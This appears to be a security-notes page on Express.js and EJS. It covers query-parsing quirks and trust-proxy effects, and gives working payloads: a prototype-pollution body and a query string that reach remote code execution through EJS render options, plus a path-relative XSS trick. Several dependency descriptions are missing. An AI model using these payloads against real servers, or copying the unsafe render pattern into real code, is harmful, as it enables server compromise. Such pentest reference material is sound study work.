Express.js
Express
Express is a minimalist web framework for Node.js which has 31 dependencies.
List of dependencies
- accepts: Return a different typed respond body based on what the client wants to accept.
- array-flatten: Flatten nested arrays (e.g.
flatten([1, [2, 3]])=>[1, 2, 3]. - body-parser: HTTP request body parsing middleware (
req.bodyproperty). - content-disposition: Create and parse HTTP
Content-Dispositionheader. - content-type: Create and parse HTTP
Content-Typeheader. - cookie: Basic HTTP cookie parser and serializer.
- cookie-signature: Sign and unsign cookies.
- debug: JavaScript debugging utility (
debug(...),DEBUG='*' node index.js). - depd: Mark things deprecated.
- encodeurl: Encode a URL to a percent-encoded form, excluding already-encoded sequences.
- escape-html: Escape string for use in HTML (HTML entity, e.g.
&=>&). - etag: Generates HTTP ETags in HTTP responses.
- finalhandler: Function to invoke as the final step to respond to HTTP request.
- fresh: Check for caching using
if-none-matchandetagHTTP headers. - http-errors: Create HTTP errors.
- merge-descriptors: Merge objects using descriptors (call descriptors and merge).
- methods:
- on-finished:
- parseurl:
- path-to-regexp:
- proxy-addr:
- qs:
- range-parser:
- safe-buffer:
- send:
- serve-static:
- setprototypeof:
- statuses:
- type-is:
- utils-merge:
- vary:
Query string parsing
| URL | Content of request.query.foo in code |
|---|---|
?foo=bar | 'bar' (string) |
?foo=bar&foo=baz | ['bar', 'baz'] (array of string) |
?foo[]=bar | ['bar'] (array of string) |
?foo[]=bar&foo[]=baz | ['bar', 'baz'] (array of string) |
?foo[bar]=baz | { bar : 'baz' } (object with a key) |
?foo[]=bar | ['bar'] (array of string) |
?foo[]baz=bar | ['bar'] (array of string - postfix is lost) |
?foo[][baz]=bar | [ { baz: 'bar' } ] (array of object) |
?foo[bar][baz]=bar | { foo: { bar: { baz: 'bar' } } } (object tree) |
?foo[10]=bar&foo[9]=baz | [ 'baz', 'bar' ] (array of string - notice order) |
?foo[toString]=bar | {} (object where calling toString() will fail) |
Table from OWASP - Node.js Security Cheat Sheet.
Trust proxy
Enabling trust proxy will have the following impact:
req.hostname=X-Forwarded-Hostreq.protocol=X-Forwarded-Proto(https or http or even an invalid name)req.ipandreq.ips=X-Forwarded-For
The trust proxy setting is implemented using the proxy-addr package. See docs.
EJS
Embedded JavaScript templates (EJS) is a NodeJS library very often used by Express to create HTML templates.
RCE on render
The following code is inside EJS (lib/ejs.js - v3.1.9). If you control the value of both variables client and escape, you can get a RCE.
function Template(text, opts) {
// ...
options.client = opts.client || false;
options.escapeFunction = opts.escape || opts.escapeFunction || utils.escapeXML;
this.opts = options;
// ...
}
Template.prototype = {
// ...
compile: function () {
var opts = this.opts;
var escapeFn = opts.escapeFunction;
if (opts.client) {
src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
}
// ...
// src is evaluated later
}
}EJS RCE - Proof of Concept
There are two options for controlling these variables.
- Abuse server-side prototype pollution (SSPP)
- Custom parameters to the render function of EJS
1. SSPP
Full article on mizu.re.
TL;DR:
{
"__proto__": {
"client": 1,
"escape": "1;return process.mainModule.require('child_process').execSync('id');"
}
}2. Custom parameters of render
Inspired from the challenge Peculiar Caterpillar of the FCSC2023.
req.query will be equal to the options parameter passed to the render function of Express.
require("express")()
.set("view engine", "ejs")
.use((req, res) => {
res.render("index", { ...req.query })
})
.listen(3000);The render function of Express calls the renderFile function of EJS.
render=>renderFile=>...=>Template.new=>Template.compile
Here is the code of the renderFile function of EJS:
var _OPTS_PASSABLE_WITH_DATA = ['delimiter', 'scope', 'context', 'debug', 'compileDebug',
'client', '_with', 'rmWhitespace', 'strict', 'filename', 'async'];
// ...
exports.renderFile = function () {
var args = Array.prototype.slice.call(arguments);
var filename = args.shift(); // arg[0] = PATH of the template
var opts = {filename: filename};
// ...
data = args.shift(); // arg[1] = {
// "settings": env, view engine, etag, ...,
// query string,
// "cache": false
// }
viewOpts = data.settings['view options'];
if (viewOpts) {
utils.shallowCopy(opts, viewOpts);
}
// 'client' is allowed to be copied
utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS);
// ...
return tryHandleCache(opts, data, cb);
};The opts variable is then passed to the Template object. So, we can get a RCE with the following query string.
?client=1&settings[view options][escape]=1;return+process.mainModule.require("child_process").execSync("id").toString();This query string is equals to:
{
settings: {
'view options': {
escape: '1;return process.mainModule.require("child_process").execSync("id").toString();'
}
},
client: '1'
}Base routing
File: main.js
const express = require('express')
const port = 3000;
const app = express()
app.use(
express.static('static', {
index: 'index.html'
})
)
app.use((req, res) => {
res.type('text').send(`Page ${req.path} not found`)
})
app.listen(port, async () => {
console.log(`Listening on http://0.0.0.0:${port}`)
})File: static/index.html
<html>
<head>
<title>Home</title>
</head>
</body>
<h3>Home</h3>
<script src="index.js"></script>
</body>
</html>If you visit /example/..%2Findex.html, your browser will load the JS script index.js at /example/index.js.
Similarly, if you visit /1+alert();var[Page]=1//..%2Findex.html, the browser will load the JS script at /1+alert();var[Page]=1//index.js. Consequently, the content of the script index.js will be:
Page /1+alert();var[Page]=1//index.js not found
An alert will be then executed.